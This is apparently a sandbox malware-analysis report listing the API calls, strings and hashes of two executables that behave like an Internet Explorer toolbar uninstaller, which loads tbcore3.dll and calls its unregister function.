Analysis Process: U5Mb5c.exePID: 7596, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	1047
Total number of Limit Nodes:	29

Executed Functions

Function 00841000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00841006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00841013
GetLastError.KERNEL32 ref: 0084101F
GetCommandLineW.KERNEL32(?), ref: 00841040
CommandLineToArgvW.SHELL32(00000000), ref: 00841047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00841061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00841073
LoadLibraryW.KERNELBASE(?), ref: 00841085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00841097
FreeLibrary.KERNELBASE(00000000), ref: 008410A4
CloseHandle.KERNELBASE(00000000), ref: 008410AB
CoUninitialize.COMBASE ref: 008410B1
LocalFree.KERNEL32(00000000), ref: 008410BC

Strings

Global\IEToolbarUninstaller, xrefs: 0084100C
tbcore3U.dll, xrefs: 0084106E, 00841079
MyUnregisterServer, xrefs: 00841091
tbcore3.dll, xrefs: 0084105C, 00841067

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 823b47c8ba7deb10478af2dc27ecb4dd4bede7211f44b5b6d7adea90dc13d1fe
Instruction ID: 4a258ef55dc77f8b0c669675b56c6a5fecb26fedf7943603c76506f3c39fc933
Opcode Fuzzy Hash: 823b47c8ba7deb10478af2dc27ecb4dd4bede7211f44b5b6d7adea90dc13d1fe
Instruction Fuzzy Hash: D111B136605A6DEB8B30ABA0AC0CA9F3798FA577557000525F586D2150EF758885C7B2

Function 00841465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 0084146D

Part of subcall function 0084143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00841472,?,?,008454EE,000000FF,0000001E,?,008436FC,?,00000001,?,?,00842A2A,00000018), ref: 00841444
Part of subcall function 0084143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00841454

ExitProcess.KERNEL32 ref: 00841476

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 44bf871e21cb785f110293a716ce7449dc1d14f847af6a50dc66a0ba943e8247
Instruction ID: df7384bcfe3bdd05eb90f71801982994b7a7ff3e4f2d1ec97a778a6d4fbd19b9
Opcode Fuzzy Hash: 44bf871e21cb785f110293a716ce7449dc1d14f847af6a50dc66a0ba943e8247
Instruction Fuzzy Hash: 6AB0483100010CBB9B022F16DC0A84D7F2AFA813A0B608021F808890619E72A9929A95

Function 0084261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00842630

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bf4f2bb38f1eea3fadf16a23b68714d6cdf8fa2fa1cda5af80a74df4ba06a6fd
Instruction ID: 1f0990d0084b6a06ab4bd139daaa7508fb791e9c564e322250448004f573816f
Opcode Fuzzy Hash: bf4f2bb38f1eea3fadf16a23b68714d6cdf8fa2fa1cda5af80a74df4ba06a6fd
Instruction Fuzzy Hash: 19D05E3A5583489EDB105F716C087263BDCE385399F104475B90CC6150E674C590DE04

Function 00841681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 0084168D

Part of subcall function 00841555: __lock.LIBCMT ref: 00841563
Part of subcall function 00841555: __decode_pointer.LIBCMT ref: 0084159A
Part of subcall function 00841555: __decode_pointer.LIBCMT ref: 008415AF
Part of subcall function 00841555: __decode_pointer.LIBCMT ref: 008415D9
Part of subcall function 00841555: __decode_pointer.LIBCMT ref: 008415EF
Part of subcall function 00841555: __decode_pointer.LIBCMT ref: 008415FC
Part of subcall function 00841555: __initterm.LIBCMT ref: 0084162B
Part of subcall function 00841555: __initterm.LIBCMT ref: 0084163B

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: 9caf5a6bc66e1b0b89e83e64f1b3a14811d6fe7ff057d264f2b0ad51cdf14e58
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 98B0923258020C33DB20258AAC07F467A0997C0BA0F260020FA0C191E1A9A2A9A1808A

Non-executed Functions

Function 008410CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00841346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0084135B
UnhandledExceptionFilter.KERNEL32(0084816C), ref: 00841366
GetCurrentProcess.KERNEL32(C0000409), ref: 00841382
TerminateProcess.KERNEL32(00000000), ref: 00841389

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c82d63d8217bd2ca36315ce41c185385c313fbfbd664b130d71ea43aea8b118b
Instruction ID: 2acb48f06fafb4ed6c737ac684314037f5fd152fd073707a2b7dc49825feb186
Opcode Fuzzy Hash: c82d63d8217bd2ca36315ce41c185385c313fbfbd664b130d71ea43aea8b118b
Instruction Fuzzy Hash: 2E21F2BC891704DFE758DF69FD847087BB4FB0A302F40402AE5088BA61EB795884CF46

Function 008421E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00849458,0000000C,00842320,00000000,00000000,?,0084174F,00000003,?,?,?,?,?,?,008410F6), ref: 008421F7
__crt_waiting_on_module_handle.LIBCMT ref: 00842202

Part of subcall function 008413E1: Sleep.KERNEL32(000003E8,00000000,?,00842148,KERNEL32.DLL,?,00842194,?,0084174F,00000003), ref: 008413ED
Part of subcall function 008413E1: GetModuleHandleW.KERNEL32(?,?,00842148,KERNEL32.DLL,?,00842194,?,0084174F,00000003,?,?,?,?,?,?,008410F6), ref: 008413F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0084222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0084223B
__lock.LIBCMT ref: 0084225D
InterlockedIncrement.KERNEL32(0084A4D8), ref: 0084226A
__lock.LIBCMT ref: 0084227E
___addlocaleref.LIBCMT ref: 0084229C

Strings

DecodePointer, xrefs: 00842233
KERNEL32.DLL, xrefs: 008421F1, 008421F6, 00842201
EncodePointer, xrefs: 0084221F

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 023ac31e1b4a7894c2dc6a7e3a1bc3188c5aff9d6b59cc9f580d5f558916d504
Instruction ID: a604ce6645a8269d0ccdb8983bf53bec6dbf100dd2af82128834c5736a1dc75e
Opcode Fuzzy Hash: 023ac31e1b4a7894c2dc6a7e3a1bc3188c5aff9d6b59cc9f580d5f558916d504
Instruction Fuzzy Hash: 14118C70944B09DED720AF69D845B5EFBE0FF14320F604559F4A9E72A0CBB49A44CB26

Function 008440A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 008440AC

Part of subcall function 00842345: __getptd_noexit.LIBCMT ref: 00842348
Part of subcall function 00842345: __amsg_exit.LIBCMT ref: 00842355

__amsg_exit.LIBCMT ref: 008440CC
__lock.LIBCMT ref: 008440DC
InterlockedDecrement.KERNEL32(?), ref: 008440F9
InterlockedIncrement.KERNEL32(02312AF0), ref: 00844124

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: f829a629c4c0604149a3af3fa1c6c1b096d63e2e388b8862288e588ce61d0e30
Instruction ID: f3ebe6b74256be28d510892e4bcd99904f51260ccb6fcc5157e624d49f7b77bd
Opcode Fuzzy Hash: f829a629c4c0604149a3af3fa1c6c1b096d63e2e388b8862288e588ce61d0e30
Instruction Fuzzy Hash: 52012E32901A2DEBDB25AF28880A34DBB60FF04720F014005F900EB291DB34AD91CFD6

Function 008435EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0084360C

Part of subcall function 00842AA0: __mtinitlocknum.LIBCMT ref: 00842AB6
Part of subcall function 00842AA0: __amsg_exit.LIBCMT ref: 00842AC2
Part of subcall function 00842AA0: EnterCriticalSection.KERNEL32(?,?,?,00845600,00000004,00849628,0000000C,00843746,?,?,00000000,00000000,00000000,?,008422F7,00000001), ref: 00842ACA

___sbh_find_block.LIBCMT ref: 00843617
___sbh_free_block.LIBCMT ref: 00843626
HeapFree.KERNEL32(00000000,?,00849568,0000000C,00842A81,00000000,008494C8,0000000C,00842ABB,?,?,?,00845600,00000004,00849628,0000000C), ref: 00843656
GetLastError.KERNEL32(?,00845600,00000004,00849628,0000000C,00843746,?,?,00000000,00000000,00000000,?,008422F7,00000001,00000214), ref: 00843667

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 9ae9b57d069d25ef7432f9e4ddd612503a3c22eebdd6bdc64078f05f396d3dbc
Instruction ID: 8257838c1c94194b54fdf8ef07782e5c9099e48c90784920703022d3b499aeaf
Opcode Fuzzy Hash: 9ae9b57d069d25ef7432f9e4ddd612503a3c22eebdd6bdc64078f05f396d3dbc
Instruction Fuzzy Hash: E8016275D0830EBAEB207B759C06B5E3664FF31764FA24149F444E62D1DF388A40EA5A

Function 00843E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00843E10

Part of subcall function 00842345: __getptd_noexit.LIBCMT ref: 00842348
Part of subcall function 00842345: __amsg_exit.LIBCMT ref: 00842355

__getptd.LIBCMT ref: 00843E27
__amsg_exit.LIBCMT ref: 00843E35
__lock.LIBCMT ref: 00843E45

Memory Dump Source

Source File: 00000027.00000002.2456693300.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000027.00000002.2455930816.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456938127.000000000084A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000027.00000002.2456988421.000000000084C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_840000_U5Mb5c.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 972223243c4e8ae913798cc5d5b8fbbc74bd2e8f209c2285aefe4449fed4a516
Instruction ID: 543f463712e6d3e349933615af7d5a6060233e78e9f00a52e77bff8bfe9d3bab
Opcode Fuzzy Hash: 972223243c4e8ae913798cc5d5b8fbbc74bd2e8f209c2285aefe4449fed4a516
Instruction Fuzzy Hash: 2DF0673294931C8BE720EB78880A74D72A0FF54B60F914189F451EBAA2CB749A41CB57

Analysis Process: s87cvg4.exePID: 1228, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1049
Total number of Limit Nodes:	29

Executed Functions

Function 00CF1000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00CF1006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00CF1013
GetLastError.KERNEL32 ref: 00CF101F
GetCommandLineW.KERNEL32(?), ref: 00CF1040
CommandLineToArgvW.SHELL32(00000000), ref: 00CF1047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00CF1061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00CF1073
LoadLibraryW.KERNELBASE(?), ref: 00CF1085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00CF1097
FreeLibrary.KERNELBASE(00000000), ref: 00CF10A4
CloseHandle.KERNELBASE(00000000), ref: 00CF10AB
CoUninitialize.COMBASE ref: 00CF10B1
LocalFree.KERNEL32(00000000), ref: 00CF10BC

Strings

Global\IEToolbarUninstaller, xrefs: 00CF100C
MyUnregisterServer, xrefs: 00CF1091
tbcore3U.dll, xrefs: 00CF106E, 00CF1079
tbcore3.dll, xrefs: 00CF105C, 00CF1067

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: daa7fea7e26727cbfecd462f60fc7e486c27e86dcb0caa1784ed0724ce4ecdc3
Instruction ID: a215ccb7bf18adc66aaf834d331c428281a8938038089bf13f90e52ec4daf7e2
Opcode Fuzzy Hash: daa7fea7e26727cbfecd462f60fc7e486c27e86dcb0caa1784ed0724ce4ecdc3
Instruction Fuzzy Hash: F911D33260565DEB8BA0AB60AC48BBF379CEE547617194525FB42D2060CF21894DCBB7

Function 00CF1465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00CF146D

Part of subcall function 00CF143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00CF1472,?,?,00CF54EE,000000FF,0000001E,?,00CF36FC,?,00000001,?,?,00CF2A2A,00000018), ref: 00CF1444
Part of subcall function 00CF143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CF1454

ExitProcess.KERNEL32 ref: 00CF1476

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: b1171c7746f10632f712180e4f0de32344e92312558a6aa40ef17d9b538dc2d6
Instruction ID: 7714ea18c34d00031bd1cb91633ce65cb2666991684b3935eff8366fa9f4806c
Opcode Fuzzy Hash: b1171c7746f10632f712180e4f0de32344e92312558a6aa40ef17d9b538dc2d6
Instruction Fuzzy Hash: AAB09B3100014CFBDF012F11DC0995D3F15FB80350B648410F90849071DF719D55E595

Function 00CF261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00CF2630

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 371302e76e0cb4c352ecd1fb357f459407501f5c4731cec752953999f80d5c6e
Instruction ID: f6ab502056f521e515efed7b0da8d1d250eda919779d9168834ef96497c9b15e
Opcode Fuzzy Hash: 371302e76e0cb4c352ecd1fb357f459407501f5c4731cec752953999f80d5c6e
Instruction Fuzzy Hash: E4D0A7326543485EDB009F71BC08B3A3BDCD384395F108436B90CC6250FB70C995CA01

Function 00CF1681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00CF168D

Part of subcall function 00CF1555: __lock.LIBCMT ref: 00CF1563
Part of subcall function 00CF1555: __decode_pointer.LIBCMT ref: 00CF159A
Part of subcall function 00CF1555: __decode_pointer.LIBCMT ref: 00CF15AF
Part of subcall function 00CF1555: __decode_pointer.LIBCMT ref: 00CF15D9
Part of subcall function 00CF1555: __decode_pointer.LIBCMT ref: 00CF15EF
Part of subcall function 00CF1555: __decode_pointer.LIBCMT ref: 00CF15FC
Part of subcall function 00CF1555: __initterm.LIBCMT ref: 00CF162B
Part of subcall function 00CF1555: __initterm.LIBCMT ref: 00CF163B

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a7b9a5c39ab5d6db6f8fc1f01e08c903248a93a0b6dc897888a27da4e8563ca2
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 09B0923258020C73DB202986AC03F163A0987C0BA4E290020FA0C191E1A9A2A961948A

Non-executed Functions

Function 00CF10CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00CF1346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CF135B
UnhandledExceptionFilter.KERNEL32(00CF816C), ref: 00CF1366
GetCurrentProcess.KERNEL32(C0000409), ref: 00CF1382
TerminateProcess.KERNEL32(00000000), ref: 00CF1389

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b06cdb8748abdeec49626af66c94200bac65794914545ffad8e1d469c2c27a54
Instruction ID: 09ef25ee4176f60c0f8bbe85289f47370608352a70e3460ae8137433fa261332
Opcode Fuzzy Hash: b06cdb8748abdeec49626af66c94200bac65794914545ffad8e1d469c2c27a54
Instruction Fuzzy Hash: 5621ADF5901204DFC750DF69ED8477CBBB0BB08392B50401AEA0D86B70EB795989CB47

Function 00CF21E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00CF9458,0000000C,00CF2320,00000000,00000000,?,00CF174F,00000003,?,?,?,?,?,?,00CF10F6), ref: 00CF21F7
__crt_waiting_on_module_handle.LIBCMT ref: 00CF2202

Part of subcall function 00CF13E1: Sleep.KERNEL32(000003E8,00000000,?,00CF2148,KERNEL32.DLL,?,00CF2194,?,00CF174F,00000003), ref: 00CF13ED
Part of subcall function 00CF13E1: GetModuleHandleW.KERNEL32(?,?,00CF2148,KERNEL32.DLL,?,00CF2194,?,00CF174F,00000003,?,?,?,?,?,?,00CF10F6), ref: 00CF13F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00CF222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00CF223B
__lock.LIBCMT ref: 00CF225D
InterlockedIncrement.KERNEL32(00CFA4D8), ref: 00CF226A
__lock.LIBCMT ref: 00CF227E
___addlocaleref.LIBCMT ref: 00CF229C

Strings

EncodePointer, xrefs: 00CF221F
KERNEL32.DLL, xrefs: 00CF21F1, 00CF21F6, 00CF2201
DecodePointer, xrefs: 00CF2233

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 121f436902581a2088294a9245b080978c69c578a7083be155a1e7bd1b89896a
Instruction ID: 079ecdbd240a8536dc62a4d50104dd1f3c7601131df82809a2884cbeb5ec7073
Opcode Fuzzy Hash: 121f436902581a2088294a9245b080978c69c578a7083be155a1e7bd1b89896a
